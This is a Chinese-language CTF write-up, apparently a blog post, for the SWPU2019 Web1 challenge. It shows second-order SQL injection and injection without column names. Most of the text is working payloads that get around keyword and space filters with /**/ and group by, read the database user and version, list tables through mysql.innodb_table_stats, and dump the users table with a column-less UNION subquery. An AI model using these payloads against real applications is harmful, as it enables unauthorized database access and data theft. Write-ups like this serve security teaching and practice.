zoukankan      html  css  js  c++  java
  • [SWPU2019]Web1

    考点:二次注入,无列名注入
    尝试使用单引号判断是否存在注入

    报错说明存在二次注入

    经过尝试发现过滤了空格,or,and,--+,#,order等关键字
    order by可以使用group by代替,空格可以使用/**/代替,注释符可以采用闭合的方式代替,如group by 1,'2
    另外通过报错语句可以猜测到后台sql语句

    select * from ads where title = '$title' limit 0,1

    判断字段数
    先填写一个较大的字段数,例如50,发现字段数大了

    -1'/**/group/**/by/**/50,'2

    然后25,12,20进行尝试,最后得到字段数为22,可以看到已经爆出了数字

    -1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

    查看数据库用户,版本等信息

    -1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

    -1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

    查询表时,发现information_schema.tables被过滤,删除information_schema.tables后正常

    -1'union/**/select/**/1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

    这个时候就要使用无列名注入,另外Maria数据库的这个表可以查表名:mysql.innodb_table_stats
    查询表

    -1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

    查询表中的数据

    -1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

  • 相关阅读:
    《数据结构》C++代码 线性表
    《数据结构》C++代码 Splay
    《数据结构》C++代码 前言
    蓝桥杯- 算法提高 最大乘积
    HDU-1241 Oil Deposits
    一个简单的网站计数器
    编写一个jsp页面,输出九九乘法表。
    Sum It Up
    历届试题 剪格子
    历届试题 分糖果
  • 原文地址:https://www.cnblogs.com/gtx690/p/13292473.html
Copyright © 2011-2022 走看看